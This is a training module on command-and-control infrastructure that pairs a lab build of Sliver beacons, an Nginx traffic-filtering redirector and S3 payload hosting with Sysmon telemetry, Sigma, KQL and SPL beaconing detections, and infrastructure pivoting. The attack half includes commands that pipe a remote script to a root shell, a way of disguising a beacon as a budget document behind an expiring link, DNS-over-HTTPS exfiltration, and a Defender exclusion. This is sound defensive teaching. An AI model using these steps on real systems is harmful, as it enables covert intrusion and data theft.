In this section
OD2.1 Infrastructure as an Operational System
You've blocked a malicious domain during an investigation. You've added C2 indicators to your blocklist and watched the beacon go silent. You understand that attackers use command-and-control infrastructure to maintain access. What you may not have seen is the system behind that single domain, why the attacker built it the way they did, what you missed when you blocked one piece, and why the beacon came back the next morning on a domain you'd never seen before.
Operational Context
You find a C2 domain during an investigation. You block it at the firewall. The beacon goes silent. The next morning, endpoint telemetry shows the same process calling a different domain, one registered the same week, by the same registrar, with a certificate issued in the same Let's Encrypt batch. The attacker didn't rebuild anything. The failover was baked into the implant before the first phishing email was sent.
Most SOC teams treat C2 indicators as individual items: block a domain, add an IP to the blocklist, close the ticket. The attacker treats infrastructure as an interconnected system designed to survive exactly that response. Until you understand C2 infrastructure as a system, how it's built, why each component is isolated, what the failover chains look like, and what telemetry each layer produces: every blocking action is a pause, not a containment.
Learning Objectives
By the end of this sub you will be able to:
- Explain the five-component C2 infrastructure model (team server, redirectors, payload hosting, phishing infrastructure, exfiltration channel) and the offensive reasoning behind each component's isolation: the same architecture used in SolarWinds SUNBURST, Nobelium operations, and every competent ransomware-as-a-service affiliate program. This matters because defenders who understand infrastructure as a system stop chasing individual IOCs and start mapping topologies, which is the difference between blocking one domain and dismantling an entire operation.
- Build a working C2 infrastructure system in a lab using Sliver (team server), Nginx (redirector with traffic filtering), and cloud storage (payload hosting), then observe the Sysmon telemetry each component produces. This matters because you can't detect infrastructure patterns you've never seen from the operator's side, building it yourself creates the mental model for recognizing it in production investigations.
- Detect C2 beaconing using statistical analysis across Sigma, Sentinel KQL, Defender XDR, and Splunk SPL by calculating the jitter ratio (standard deviation / mean interval) of outbound connections from non-browser processes. This matters because beaconing detection is the only detection layer that survives framework changes, malleable profile customization, and domain rotation: every other detection is signature-based and breaks when the attacker updates their tooling.
- Map an infrastructure topology from a single IOC using four pivot techniques (DNS, certificate transparency, registration, behavioral) and assess the campaign's sophistication level from the infrastructure investment. This matters because the scope of the infrastructure directly predicts the attacker's operational timeline, objective, and likely next actions, intelligence that changes your response strategy.
Figure OD2.1. Your firewall shows one domain. The attacker built a system of six components. Blocking one domain triggers a preconfigured failover. Mapping the system lets you dismantle all of it simultaneously.
The Attack. Building C2 infrastructure from scratch
You're about to build the same infrastructure system a competent attacker builds before a campaign. Every step explains what you're doing, why the attacker makes that specific decision, and what defensive pressure the decision is designed to defeat. By the end, you'll have a working C2 system in your lab and a mental model for recognizing every component in a production investigation.
What the attacker is trying to achieve
The attacker's goal with infrastructure is operational resilience: the ability to maintain command-and-control, deliver payloads, harvest credentials, and exfiltrate data even when the defender discovers and blocks individual components. They expect you to find something during the investigation. A domain, an IP, a certificate. The infrastructure is designed so that finding one piece doesn't give you the rest, and blocking one piece doesn't kill the operation.
This is the core offensive problem C2 infrastructure solves: how do you maintain persistent, reliable access to a compromised environment when the defender is actively hunting you? The answer is compartmentalisation and redundancy. Each component, command relay, traffic filtering, payload delivery, credential harvesting, data exfiltration, runs on separate infrastructure with no shared indicators. Losing a redirector costs the attacker 10 minutes of recovery. Losing the team server loses the operation. So the team server is never exposed, and every other component is disposable.
The same architecture appears in SolarWinds SUNBURST (where Microsoft documented four layers of C2 infrastructure), in Nobelium's post-compromise operations, and in every RaaS affiliate kit that ships with a redirector template. The total cost is under $50 and 2–4 hours of setup time. The barrier to entry is negligible, which is why you see this architecture in commodity ransomware affiliates as well as state-sponsored campaigns. The difference is how much the attacker invests in aging domains, configuring failover, and compartmentalising channels. That investment is intelligence about the campaign, which you'll assess at the end of this sub.
Step 1. Set up the team server (Sliver)
The team server is the operator's workstation. Understanding what it does, and why the attacker never exposes it to the internet, explains why you never see the real C2 in your firewall logs.
The team server runs the C2 framework. It's where the operator generates implants, receives beacon callbacks, sends commands to compromised endpoints, and manages the operation. We use Sliver because it's open-source, actively maintained, and representative of how modern C2 frameworks operate. The concepts apply identically to Cobalt Strike, Mythic, Havoc, or Brute Ratel.
# Install Sliver on your lab Linux VM (Ubuntu 22.04+)
curl https://sliver.sh/install | sudo bash
# Start the Sliver server
sliver-serverThe team server is never internet-facing. The attacker doesn't register a domain for it. There's no DNS record pointing at it. If you ran a full-internet scan from Shodan, you wouldn't find it. All inbound traffic reaches the team server through the redirector layer: the team server's IP appears only in the redirector's Nginx configuration, nowhere else.
Why? Because the team server holds the entire operation: implant configurations, command history, exfiltrated data, the operator's SSH keys. If the team server is exposed, you can take it down, report the IP to the hosting provider, file an abuse complaint, get a law enforcement takedown. Losing a redirector costs the attacker 10 minutes. Losing a team server loses the operation.
Once Sliver is running, generate a beacon with primary and fallback C2 endpoints:
# Generate an HTTPS beacon with two C2 endpoints
sliver > generate beacon \
--http cdn-assets-update.com,static-content-srv.com \
--name northgate-beacon \
--os windows \
--arch amd64 \
--seconds 14400 \
--jitter 20Every flag is an operational decision:
--http cdn-assets-update.com,static-content-srv.com. Two C2 endpoints. The first is primary. The second is the fallback, compiled into the binary and activated automatically if the primary fails. When you block the primary domain, the beacon silently pivots to the standby. No attacker intervention required. No alert generated. The failover decision was made before the beacon was deployed.
--seconds 14400. A 4-hour callback interval. Short intervals (seconds to minutes) produce detectable beaconing patterns. Statistical analysis identifies them by calculating the jitter ratio: standard deviation divided by mean interval. A 30-second beacon with 10% jitter produces a ratio around 0.10, trivially detectable. A 4-hour interval blends with legitimate update checkers and heartbeat monitors that also use multi-hour cycles. The attacker trades operational tempo for survival.
--jitter 20 — ±20% randomness. Instead of every 14,400 seconds exactly, the beacon calls between 11,520 and 17,280 seconds (3.2 to 4.8 hours). This defeats exact-interval detection rules but doesn't defeat statistical analysis, jitter ratios below 0.30 still flag as probable beaconing. Sophisticated operators push jitter to 40–60% to raise the ratio above the detection threshold, accepting slower operational tempo as the cost.
Step 2. Configure the redirector (Nginx)
The redirector is the only component you'll see in your firewall logs. Understanding how it filters traffic explains why your sandbox reports the C2 domain as "serving a benign webpage" and why the analyst closes the ticket.
The redirector is a VPS running Nginx that sits between the beacon and the team server. It proxies valid beacon traffic to the team server and serves innocent content to everyone else.
# /etc/nginx/sites-available/redirector.conf
# Every directive in this config is defeating a specific
# defensive measure. Read each one.
server {
listen 443 ssl;
server_name cdn-assets-update.com;
ssl_certificate /etc/letsencrypt/live/cdn-assets-update.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/cdn-assets-update.com/privkey.pem;
# The beacon requests /api/v2/ with a Chrome User-Agent.
# Only traffic matching BOTH criteria reaches the team server.
location /api/v2/ {
if ($http_user_agent ~* "Chrome/12[0-9]") {
proxy_pass https://10.10.0.1:443;
}
# Non-matching traffic: benign JSON response.
# Your sandbox hits this URL → gets {"status":"ok"}.
# Analyst sees "benign API endpoint" → closes the ticket.
return 200 '{"status":"ok","version":"2.1"}';
add_header Content-Type application/json;
}
# Default: credible static site for researchers
# who browse the domain manually.
location / {
root /var/www/html;
index index.html;
}
}Why Nginx and not Apache? Nginx handles the if directive for User-Agent matching natively and performs better under load. Apache requires mod_rewrite with .htaccess rules, more complex, easier to misconfigure. Most operators default to Nginx. You'll see Apache when the operator uses an older redirect toolkit or needs mod_rewrite's regex flexibility for complex traffic profiles.
Why the User-Agent filter? Automated scanners. Shodan, Censys, URLscan, sandbox environments, use distinctive User-Agent strings. The redirector checks the User-Agent to distinguish real beacons from automated tools. If the request doesn't match the compiled profile, it gets the benign page. This is why your sandbox submits the domain, browses it, gets a clean webpage, and the analyst marks it benign. The sandbox's request didn't match. The beacon's does.
# Set up the redirector in your lab
sudo apt install nginx certbot python3-certbot-nginx -y
# For lab purposes, use /etc/hosts instead of real DNS:
echo "127.0.0.1 cdn-assets-update.com" | sudo tee -a /etc/hosts
# Test the redirector behavior:
# Normal request, should return the benign page:
curl -k https://cdn-assets-update.com/
# Output: static HTML page
# Simulated beacon, should proxy to team server:
curl -k -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) \
AppleWebKit/537.36 Chrome/120.0.6099.130" \
https://cdn-assets-update.com/api/v2/beacon
# Output: C2 response from team server (or connection refused
# if team server isn't running on 10.10.0.1, which confirms
# the proxy_pass is working)Step 3. Payload hosting on cloud storage
The payload is never hosted on C2 infrastructure. This compartmentalisation is what defeats your investigation when you try to connect the phishing email to the C2 callback.
The attacker hosts the initial payload on a separate cloud storage service. S3, Azure Blob, Google Cloud, GitHub Releases. The payload domain is completely separate from the C2 domain. Different registrar, different IP, different hosting provider.
# Create an S3 bucket with a plausible business name
aws s3 mb s3://company-resources-2026-q2 --region us-east-1
# Upload the beacon binary disguised as a business document
aws s3 cp northgate-beacon.exe \
s3://company-resources-2026-q2/Q2-Budget-Review.exe
# Generate a pre-signed URL with 24-hour expiration
aws s3 presign \
s3://company-resources-2026-q2/Q2-Budget-Review.exe \
--expires-in 86400The pre-signed URL points to amazonaws.com: a trusted domain your web proxy allows because thousands of legitimate applications use S3. The URL expires in 24 hours, after expiration, anyone investigating the link gets "Access Denied." The forensic evidence self-destructs. And there's no connection between this S3 bucket and the C2 infrastructure. The S3 account was created with a throwaway email. The C2 domains were registered with a different registrar. Finding the phishing email gives you a dead S3 bucket. Finding the C2 domain gives you the callback traffic. Nothing connects them unless you have both pieces and the timing correlation to link the download to the first beacon check-in.
Step 4. The exfiltration channel
The exfiltration channel is separate from C2 because cutting C2 doesn't stop data theft if the data is leaving through a different pipe.
DNS-over-HTTPS tunneling to a legitimate resolver (Cloudflare's 1.1.1.1 or Google's 8.8.8.8) is the most common exfiltration method for competent operators. Your proxy sees HTTPS traffic to cloudflare-dns.com, which thousands of endpoints generate legitimately. Data is encoded in DNS query names, reassembled by the attacker's authoritative DNS server. The C2 channel can be blocked entirely and the exfiltration continues.
Alternatively: HTTPS uploads to a cloud storage account (different from the payload hosting account), or M365 forwarding rules that send data to an external address. The forwarding rule is particularly dangerous because it's set up through the compromised M365 session, persists after the session is revoked and the password is reset, and continues operating until someone specifically audits forwarding rules.
# On your Linux VM:
curl https://sliver.sh/install | sudo bash
sliver-server# Inside the Sliver console:
sliver > generate beacon \
--http cdn-assets-update.com,static-content-srv.com \
--name lab-beacon \
--os windows \
--arch amd64 \
--seconds 60 \
--jitter 20sliver > https --lhost 0.0.0.0 --lport 443# On the Linux VM, add both C2 domains to /etc/hosts:
echo "127.0.0.1 cdn-assets-update.com" | sudo tee -a /etc/hosts
echo "127.0.0.1 static-content-srv.com" | sudo tee -a /etc/hosts
# Also add them on the Windows VM so the beacon resolves correctly.
# On the Windows VM, open PowerShell as Administrator:
Add-Content C:\Windows\System32\drivers\etc\hosts "10.0.0.20 cdn-assets-update.com"
Add-Content C:\Windows\System32\drivers\etc\hosts "10.0.0.20 static-content-srv.com"
# Replace 10.0.0.20 with your Linux VM's actual IP address.# On Linux:
ping -c 1 cdn-assets-update.com
# Should resolve to 127.0.0.1# On Windows:
ping cdn-assets-update.com
# Should resolve to your Linux VM's IP# On the Linux VM:
sudo apt update && sudo apt install nginx -ysudo tee /etc/nginx/sites-available/redirector.conf << 'EOF'
server {
listen 443 ssl;
server_name cdn-assets-update.com;
# For the lab, generate a self-signed certificate.
# Production attackers use Let's Encrypt.
ssl_certificate /etc/nginx/ssl/selfsigned.crt;
ssl_certificate_key /etc/nginx/ssl/selfsigned.key;
location /api/v2/ {
if ($http_user_agent ~* "Chrome/12[0-9]") {
proxy_pass https://127.0.0.1:443;
}
return 200 '{"status":"ok","version":"2.1"}';
add_header Content-Type application/json;
}
location / {
return 200 '<html><body><h1>Service Status: OK</h1></body></html>';
add_header Content-Type text/html;
}
}
EOF# Create the SSL directory and generate a self-signed cert
sudo mkdir -p /etc/nginx/ssl
sudo openssl req -x509 -nodes -days 30 \
-newkey rsa:2048 \
-keyout /etc/nginx/ssl/selfsigned.key \
-out /etc/nginx/ssl/selfsigned.crt \
-subj "/CN=cdn-assets-update.com"
# Remove the default site and enable the redirector
sudo rm -f /etc/nginx/sites-enabled/default
sudo ln -sf /etc/nginx/sites-available/redirector.conf \
/etc/nginx/sites-enabled/redirector.conf
# Test the config and reload
sudo nginx -t
# Expected: "syntax is ok" and "test is successful"
sudo systemctl reload nginx# Normal request, should return the benign page:
curl -sk https://cdn-assets-update.com/
# Expected output: <html><body><h1>Service Status: OK</h1></body></html>
# Request to the beacon URI without matching User-Agent:
curl -sk https://cdn-assets-update.com/api/v2/check
# Expected output: {"status":"ok","version":"2.1"}
# Request with the matching User-Agent (simulates a beacon):
curl -sk -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.6099.130" \
https://cdn-assets-update.com/api/v2/check
# Expected: either a response from Sliver (if the HTTPS listener
# is on 443) or a 502 Bad Gateway (if Sliver is on a different port).
# Both confirm the proxy_pass is working: the request reached
# a different backend than the benign response.# On the Linux VM, start a simple HTTP server to transfer the file:
cd /root/.sliver/builds/
python3 -m http.server 8080# On the Windows VM, download the beacon:
Invoke-WebRequest -Uri "http://10.0.0.20:8080/lab-beacon.exe" `
-OutFile "$env:TEMP\lab-beacon.exe"
# Replace 10.0.0.20 with your Linux VM's IP.
# Execute the beacon:
& "$env:TEMP\lab-beacon.exe"[*] Beacon 1a2b3c4d lab-beacon - 10.0.0.10:51423 (YOURLAB\t.ashworth) - windows/amd64 - Tue, 29 Apr 2026 10:15:02 UTC# On the Windows VM, query Sysmon for the beacon's network connections:
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath `
"*[System[EventID=3] and EventData[Data[@Name='DestinationPort']='443']]" `
-MaxEvents 5 | Format-List TimeCreated, Message
# You should see entries with:
# Image: C:\Users\...\AppData\Local\Temp\lab-beacon.exe
# DestinationHostname: cdn-assets-update.com
# DestinationPort: 443
# Now check DNS queries (Event 22):
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath `
"*[System[EventID=22]]" -MaxEvents 10 | Format-List TimeCreated, Message
# You should see:
# Image: ...\lab-beacon.exe
# QueryName: cdn-assets-update.com
# Each DNS query should appear ~500ms before the corresponding Event 3.Hands-on Lab. Build Your C2 Infrastructure
Objective: Build a three-component C2 system (team server + redirector + payload host) and verify each component works.
Prerequisites: A Linux VM (Ubuntu 22.04+) for the team server and redirector. A Windows VM with Sysmon installed for the beacon endpoint. Both VMs on the same network. If you completed the PT Module 1 lab build, your existing environment works.
Step 1. Install and start the Sliver team server.
You should see the Sliver banner and an interactive prompt (sliver >). If the install fails with a permissions error, verify you're running with sudo. If the server fails to start, check that port 31337 isn't already in use: ss -tlnp | grep 31337.
Step 2. Generate a beacon implant.
Sliver outputs the path to the compiled beacon binary, something like /root/.sliver/builds/lab-beacon.exe. Note this path, you'll transfer it to the Windows VM in Step 5. The 60-second interval is for lab speed only. Production attackers use 14,400 seconds (4 hours).
If Sliver errors with "no listeners configured," you need to start an HTTPS listener first:
Step 3. Map test domains to your Linux VM's IP.
Verify resolution works from both VMs:
Step 4. Install and configure the Nginx redirector.
Create the redirector configuration file. This is the exact config from the sub, you're creating it as a file on disk:
Generate the self-signed certificate and enable the config:
Now verify the redirector behaves correctly:
If nginx -t fails: check for typos in the config. The most common error is a missing semicolon. If the curl with the matching User-Agent returns the same benign JSON as without it: the if directive isn't matching. Verify the User-Agent string in your curl command matches the regex Chrome/12[0-9], it must contain Chrome/12 followed by a digit.
Step 5. Transfer the beacon to the Windows VM and execute it.
Back on the Linux VM in the Sliver console, you should see:
If no beacon appears: check that the Windows VM can reach the Linux VM on port 443 (Test-NetConnection 10.0.0.20 -Port 443 in PowerShell). Check Windows Defender isn't quarantining the beacon, for lab purposes, add an exclusion for $env:TEMP.
Step 6. Verify the Sysmon telemetry.
If Sysmon Event 3 doesn't appear: your Sysmon config may be filtering outbound connections. Check your config XML for rules. The SwiftOnSecurity config includes network connection logging by default. If Event 22 doesn't appear: DNS query logging isn't enabled. Add to your Sysmon config and reload: sysmon -c your-config.xml.
Success criteria: The beacon checks in to Sliver. Sysmon Event 3 shows the outbound HTTPS connection from the beacon process to the redirector domain. Sysmon Event 22 shows the DNS query preceding each connection. The redirector returns a benign page to normal requests and proxies matching traffic to the team server.
Challenge: Modify the Nginx config to filter by a custom HTTP header instead of User-Agent. What would the attacker gain from this? (Answer: User-Agent filtering is well-documented in public red team tradecraft. A custom header is unknown to sandbox environments and security tools. The tradeoff: the beacon binary carries a non-standard header, which is a slightly stronger YARA signature.)
What Your Attack Produced
Switch perspective. You're now the defender looking at your own attack. Every beacon callback generated Sysmon telemetry regardless of the C2 framework, the malleable profile, or the redirector configuration. Two events are decisive.
Sysmon Event 3. Network Connection. Fires when the beacon calls the redirector:
<EventData>
<Data Name="UtcTime">2026-04-25 14:24:02.341</Data>
<Data Name="ProcessGuid">{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}</Data>
<Data Name="ProcessId">6284</Data>
<Data Name="Image">C:\Windows\explorer.exe</Data>
<Data Name="User">NORTHGATE\j.smith</Data>
<Data Name="Protocol">tcp</Data>
<Data Name="Initiated">true</Data>
<Data Name="SourceIp">10.0.0.42</Data>
<Data Name="SourcePort">51423</Data>
<Data Name="DestinationIp">185.220.101.42</Data>
<Data Name="DestinationPort">443</Data>
<Data Name="DestinationHostname">cdn-assets-update.com</Data>
</EventData>Read each field forensically. Image: explorer.exe: the beacon was injected into Explorer. Legitimate Explorer doesn't make periodic HTTPS calls to external domains. A non-browser, non-system process making regular outbound HTTPS is the first behavioral indicator. DestinationHostname: cdn-assets-update.com: the redirector, not the team server. You're seeing the proxy layer. The attacker's actual infrastructure is invisible. DestinationPort: 443, encrypted. You see where the traffic goes, not what it contains.
Sysmon Event 22. DNS Query. Fires ~500ms before the connection:
<EventData>
<Data Name="UtcTime">2026-04-25 14:24:01.892</Data>
<Data Name="ProcessId">6284</Data>
<Data Name="Image">C:\Windows\explorer.exe</Data>
<Data Name="QueryName">cdn-assets-update.com</Data>
<Data Name="QueryResults">type: 1 185.220.101.42</Data>
</EventData>When you block the primary domain, the beacon's next check-in generates a DNS query for the fallback domain, static-content-srv.com, from the same process. That DNS query is how you discover the standby redirector. The beacon tells you about the failover by trying to use it.
Detecting This
The detection targets the behavioral invariant: a non-browser process making regular outbound HTTPS connections to the same destination. This pattern survives framework changes, malleable profile customization, and domain rotation. The attacker can change the URL path, headers, and response format. They can't change the fundamental pattern of regular callbacks without breaking the C2 channel.
title: Non-Browser Process Regular Outbound HTTPS Beaconing
id: 7a3f9c01-2b4d-5e6f-8a9b-0c1d2e3f4a5b
status: stable
description: |
Detects a non-browser process making regular outbound HTTPS
connections to the same external destination. The behavioral
pattern — periodic callbacks from a non-browser process — is
the C2 beaconing invariant that survives framework changes,
malleable profiles, and domain rotation.
author: Ridgeline Cyber
logsource:
category: network_connection
product: windows
detection:
selection:
Initiated: 'true'
DestinationPort: 443
filter_browsers:
Image|endswith:
- '\chrome.exe'
- '\msedge.exe'
- '\firefox.exe'
- '\brave.exe'
- '\opera.exe'
filter_system:
Image|endswith:
- '\svchost.exe'
- '\OneDrive.exe'
- '\Teams.exe'
- '\outlook.exe'
- '\msedgewebview2.exe'
condition: selection and not filter_browsers and not filter_system
level: medium
tags:
- attack.command_and_control
- attack.t1071.001
falsepositives:
- EDR/AV agents with heartbeat traffic
- Software update checkers with fixed intervals
- Monitoring agents phoning home
- VPN clients maintaining keepalive connections
// Sentinel KQL — C2 Beaconing Detection via Interval Regularity
// Finds non-browser processes making periodic HTTPS connections
// to the same destination. JitterRatio below 0.30 = probable beaconing.
let excludedProcesses = dynamic(["msedge.exe", "chrome.exe",
"firefox.exe", "teams.exe", "outlook.exe", "onedrive.exe",
"svchost.exe", "msedgewebview2.exe"]);
DeviceNetworkEvents
| where TimeGenerated > ago(24h)
| where RemotePort == 443 and ActionType == "ConnectionSuccess"
| where not(InitiatingProcessFileName has_any (excludedProcesses))
| summarize
Timestamps = make_list(TimeGenerated),
RequestCount = count()
by DeviceName, RemoteUrlHost, InitiatingProcessFileName
| where RequestCount > 6
| mv-expand Timestamps to typeof(datetime)
| sort by DeviceName, RemoteUrlHost, Timestamps asc
| extend PrevTime = prev(Timestamps),
PrevHost = prev(RemoteUrlHost)
| where RemoteUrlHost == PrevHost
| extend IntervalSec = datetime_diff('second', Timestamps, PrevTime)
| where IntervalSec > 60 and IntervalSec < 86400
| summarize
AvgInterval = avg(IntervalSec),
StdDev = stdev(IntervalSec),
Intervals = count(),
FirstSeen = min(Timestamps),
LastSeen = max(Timestamps)
by DeviceName, RemoteUrlHost, InitiatingProcessFileName
| where Intervals > 5
| extend JitterRatio = round(StdDev / AvgInterval, 3)
| where JitterRatio < 0.30
| project DeviceName, InitiatingProcessFileName, RemoteUrlHost,
AvgInterval, JitterRatio, Intervals, FirstSeen, LastSeen
| order by JitterRatio asc
// Defender XDR — C2 Beaconing Detection
let excludedProcesses = dynamic(["msedge.exe", "chrome.exe",
"firefox.exe", "teams.exe", "outlook.exe", "onedrive.exe",
"svchost.exe"]);
DeviceNetworkEvents
| where Timestamp > ago(24h)
| where RemotePort == 443
| where not(InitiatingProcessFileName has_any (excludedProcesses))
| summarize
Timestamps = make_list(Timestamp),
RequestCount = count()
by DeviceName, RemoteUrl, InitiatingProcessFileName
| where RequestCount > 6
| mv-expand Timestamps to typeof(datetime)
| sort by DeviceName, RemoteUrl, Timestamps asc
| extend PrevTime = prev(Timestamps),
PrevUrl = prev(RemoteUrl)
| where RemoteUrl == PrevUrl
| extend IntervalSec = datetime_diff('second', Timestamps, PrevTime)
| where IntervalSec > 60 and IntervalSec < 86400
| summarize
AvgInterval = avg(IntervalSec),
StdDev = stdev(IntervalSec),
Intervals = count(),
FirstSeen = min(Timestamps),
LastSeen = max(Timestamps)
by DeviceName, RemoteUrl, InitiatingProcessFileName
| where Intervals > 5
| extend JitterRatio = round(StdDev / AvgInterval, 3)
| where JitterRatio < 0.30
| project DeviceName, InitiatingProcessFileName, RemoteUrl,
AvgInterval, JitterRatio, Intervals, FirstSeen, LastSeen
| order by JitterRatio asc
index=sysmon EventCode=3 DestinationPort=443 Initiated=true
NOT (Image="*\\chrome.exe" OR Image="*\\msedge.exe"
OR Image="*\\firefox.exe" OR Image="*\\svchost.exe"
OR Image="*\\teams.exe" OR Image="*\\outlook.exe"
OR Image="*\\OneDrive.exe" OR Image="*\\msedgewebview2.exe")
| stats
count as RequestCount,
earliest(_time) as FirstSeen,
latest(_time) as LastSeen,
list(_time) as Timestamps
by Computer, Image, DestinationHostname
| where RequestCount > 6
| eval duration_hours = round((LastSeen - FirstSeen) / 3600, 1)
| where duration_hours > 2
| mvexpand Timestamps
| sort 0 Computer, DestinationHostname, Timestamps
| streamstats
current=f window=1 last(Timestamps) as PrevTime
by Computer, DestinationHostname
| eval interval_sec = Timestamps - PrevTime
| where interval_sec > 60 AND interval_sec < 86400
| stats
avg(interval_sec) as AvgInterval,
stdev(interval_sec) as StdDev,
count as IntervalCount,
earliest(Timestamps) as FirstSeen,
latest(Timestamps) as LastSeen
by Computer, Image, DestinationHostname
| where IntervalCount > 5
| eval JitterRatio = round(StdDev / AvgInterval, 3)
| where JitterRatio < 0.3
| sort JitterRatio
| table Computer, Image, DestinationHostname,
AvgInterval, JitterRatio, IntervalCount, FirstSeen, LastSeen
The Sigma rule catches the network connection pattern at the event level, non-browser outbound HTTPS. It will produce false positives from update checkers and monitoring agents. The KQL and SPL queries add the statistical layer: they calculate the jitter ratio across connections over 24 hours and surface only those with suspiciously regular timing. A ratio below 0.30 means the interval variation is less than 30% of the mean, too regular for human-driven or event-driven traffic.
Sliver's default jitter produces ratios around 0.15–0.20. Cobalt Strike's default produces similar. An attacker pushing jitter to 50–60% raises the ratio to 0.40–0.50, overlapping legitimate patterns. That's the tuning tension: lower your threshold to catch sophisticated beaconing but accept more false positives.
Hunting, infrastructure mapping from a single IOC
You've found one domain. Four pivot techniques map the full infrastructure topology.
DNS pivot. Resolve the domain to its IP. Query passive DNS (VirusTotal, SecurityTrails, RiskIQ/Defender TI) for other domains that resolve or historically resolved to the same IP. If the attacker hosted two redirectors on the same VPS, passive DNS reveals both from the single IP.
Certificate pivot. Search crt.sh for certificates matching the domain. Attackers who provision certificates in batches: five domains, one Certbot session, produce CT log entries clustered within minutes. The batch timing is the fingerprint.
Registration pivot. WHOIS for the registrar and registration date. Search for other domains registered through the same registrar on the same date with similar naming conventions. Some domains will be active redirectors; others are dormant, reserved for rotation.
Behavioral pivot. Run the beaconing detection query across your entire environment. If another endpoint is compromised with the same beacon, its traffic to a different redirector has the same statistical signature, same jitter ratio, same interval range, same URI path pattern. The behavioral pivot connects multiple compromised endpoints to the same campaign even when they call different domains.
# DNS pivot, resolve and search passive DNS
dig cdn-assets-update.com +short
# Then: https://www.virustotal.com/gui/ip-address/185.220.101.42/relations
# Certificate pivot, search CT logs
curl -s "https://crt.sh/?q=%25cdn-assets-update%25&output=json" | \
python3 -m json.tool | grep "common_name"
# Registration pivot. WHOIS analysis
whois cdn-assets-update.com
# Note: registrar, registration date, privacy serviceMitigation, limiting the attacker's infrastructure options
Block newly registered domains. Domains registered within the last 30 days account for a disproportionate share of phishing and C2 infrastructure. Configure your web proxy or DNS filter to block or flag NRDs. This forces the attacker to age domains, increasing their infrastructure cost and lead time from days to months. Not all NRD blocking is equal: some services have high false-positive rates on CDN subdomains and SaaS platforms. Test before enforcing.
Enforce TLS inspection on non-standard processes. If your web proxy supports TLS decryption, inspecting outbound HTTPS from non-browser processes reveals the URI path, headers, and response content that the encrypted channel hides. The redirector's traffic-filtering logic becomes visible. The tradeoff: TLS inspection introduces certificate trust complexity and may break applications with certificate pinning.
Monitor certificate transparency logs for your brand. Attackers register domains that imitate your organization's brand — northgate-eng-portal.com, northgate-update-srv.com. CT log monitoring services (Certstream, Facebook CT Monitor, custom scripts against crt.sh) alert you when certificates are issued for domains containing your brand terms. This gives you hours to days of warning before the domain is used in an attack.
Restrict outbound DNS-over-HTTPS. Block outbound connections to known DoH resolvers (Cloudflare, Google, Quad9) from endpoints that should be using your internal DNS infrastructure. This eliminates the most common exfiltration channel. The attacker falls back to traditional DNS tunneling or HTTPS uploads, both of which are noisier and easier to detect.
Logging gaps, what you're probably not seeing
Gap 1. No Sysmon Event 22 logging. Many organizations deploy Sysmon without DNS query logging enabled. Without Event 22, you can't see which process resolved the C2 domain, and you can't catch the fallback domain resolution that occurs when the primary is blocked. Check your Sysmon config: must be present.
Gap 2. No outbound connection logging from non-Windows endpoints. The beaconing detection queries target Sysmon Event 3 (Windows) and DeviceNetworkEvents (Defender). If the attacker compromises a Linux server, macOS workstation, or container, you need equivalent logging: auditd with connect syscall rules on Linux, Unified Logging on macOS, or network flow data from your firewall/proxy.
Gap 3. Web proxy logs don't capture the User-Agent. If your web proxy logs only the URL and IP but not the HTTP headers, you can't distinguish the beacon's request from the sandbox's request. Both hit the same URL. The difference is the User-Agent. Ensure your proxy logs full HTTP headers for outbound HTTPS connections.
Gap 4. No certificate transparency monitoring. Without CT monitoring for your brand terms, you have no advance warning of phishing infrastructure being staged. By the time you discover the phishing domain, credentials have already been stolen.
Run the beaconing detection query against your lab telemetry now. The instructions below verify the detection catches what you built.
Step 1. Confirm the beacon is generating telemetry.
# On the Windows VM, open PowerShell as Administrator.
# Query Sysmon for the beacon's most recent network connections:
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath `
"*[System[EventID=3] and EventData[Data[@Name='DestinationPort']='443']]" `
-MaxEvents 5 | ForEach-Object {
$xml = [xml]$_.ToXml()
[PSCustomObject]@{
Time = $_.TimeCreated
Image = ($xml.Event.EventData.Data | Where-Object Name -eq 'Image').'#text'
Dest = ($xml.Event.EventData.Data | Where-Object Name -eq 'DestinationHostname').'#text'
}
} | Format-Table -AutoSize
# Expected output:
# Time Image Dest
# ---- ----- ----
# 4/29/2026 10:16:02 AM C:\Users\...\Temp\lab-beacon.exe cdn-assets-update.com
# 4/29/2026 10:15:01 AM C:\Users\...\Temp\lab-beacon.exe cdn-assets-update.com
#
# If you see no results: the beacon isn't running, or Sysmon isn't
# logging network connections. Go back to Lab 1 Step 6 and troubleshoot.Step 2. Run the beaconing detection query.
If you're using Sentinel, open your Log Analytics workspace → Logs, and paste this query (the same one from the detection section above, with the lookback reduced to 1 hour for lab speed):
let excludedProcesses = dynamic(["msedge.exe", "chrome.exe",
"firefox.exe", "teams.exe", "outlook.exe", "onedrive.exe",
"svchost.exe", "msedgewebview2.exe"]);
DeviceNetworkEvents
| where TimeGenerated > ago(1h)
| where RemotePort == 443 and ActionType == "ConnectionSuccess"
| where not(InitiatingProcessFileName has_any (excludedProcesses))
| summarize
Timestamps = make_list(TimeGenerated),
RequestCount = count()
by DeviceName, RemoteUrlHost, InitiatingProcessFileName
| where RequestCount > 3
| mv-expand Timestamps to typeof(datetime)
| sort by DeviceName, RemoteUrlHost, Timestamps asc
| extend PrevTime = prev(Timestamps),
PrevHost = prev(RemoteUrlHost)
| where RemoteUrlHost == PrevHost
| extend IntervalSec = datetime_diff('second', Timestamps, PrevTime)
| where IntervalSec > 10 and IntervalSec < 600
| summarize
AvgInterval = avg(IntervalSec),
StdDev = stdev(IntervalSec),
Intervals = count()
by DeviceName, RemoteUrlHost, InitiatingProcessFileName
| where Intervals > 2
| extend JitterRatio = round(StdDev / AvgInterval, 3)
| order by JitterRatio ascIf you're using Splunk, open Search and paste this (adapted for the lab's 60-second interval):
index=sysmon EventCode=3 DestinationPort=443 Initiated=true
NOT (Image="*\\chrome.exe" OR Image="*\\msedge.exe"
OR Image="*\\firefox.exe" OR Image="*\\svchost.exe")
| stats count as RequestCount,
earliest(_time) as FirstSeen,
latest(_time) as LastSeen,
list(_time) as Timestamps
by Computer, Image, DestinationHostname
| where RequestCount > 3
| mvexpand Timestamps
| sort 0 Computer, DestinationHostname, Timestamps
